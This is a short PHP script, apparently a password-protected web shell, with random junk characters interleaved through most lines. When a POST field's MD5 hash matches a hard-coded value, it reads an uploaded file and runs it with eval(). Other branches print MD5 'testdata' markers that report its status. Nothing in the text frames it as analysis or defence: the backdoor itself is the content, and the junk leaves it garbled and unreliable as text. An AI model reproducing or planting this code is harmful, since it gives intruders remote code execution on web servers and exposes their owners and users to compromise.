<?php
: \+ J1 u6 p2 e! X# c [ w, p error_reporting(1);
, t$ `$ `% Y2 P3 ^ global $HTTP_SERVER_VARS; 8 ]# F/ z) V" @8 t: G8 [ @
function say($t)
e) ?& Q) V; A, [7 j1 Y5 s/ h { - X' Q; v+ F- ^' S; _
echo "$t\n";
' N; [0 _- y* a9 {4 `3 Q2 K# l };
6 A4 Z/ P& c2 F. p$ n; J function testdata($t)
& a1 f% q$ ?6 b- w! c- k {
0 O! |' t( w8 ~% w9 L x say(md5("testdata_$t")); . b$ U0 o, l0 [; U! \: C
};
0 P" Q7 @* r# x9 y- J echo "<pre>"; 3 M2 U& o/ o1 j$ J
testdata('start'); 3 y+ m7 Z# T* T9 e0 X) b: j/ k+ G
if (md5($_POST["p"])=="aace99428c50dbe965acc93f3f275cd3")2 U, e& t, c( P- W
{ # m# }+ E' U" \. r7 {0 w6 K
if ($code = @fread(@fopen($HTTP_POST_FILES["f"]["tmp_name"],"rb"),$HTTP_POST_FILES["f"]["size"]))
. o: ?& ]' M' I {
: b) t, v5 B6 Y' A eval($code); / N0 ?3 v+ x( D8 Q
}
) X" V5 k5 m5 g else
; V" G% D8 w' \! N { / |6 }- M( K. H* l, c, W
testdata('f'); * E$ v* x# E3 i, _
};% @' [/ t/ ]6 x: L0 E2 Q
}8 ~+ l8 H+ H9 }! R5 N' ?
else" c/ [' n+ j( r$ i
{
7 _7 {' L' L- c. ^1 z1 b, H7 A testdata('pass');
: O% G! H ]+ g }; 2 T: }1 \, k2 f+ j% r
testdata('end');
7 {- m" ^# Y+ M echo "</pre>";
2 G+ q) F5 [/ o7 X2 u, ~?> |
|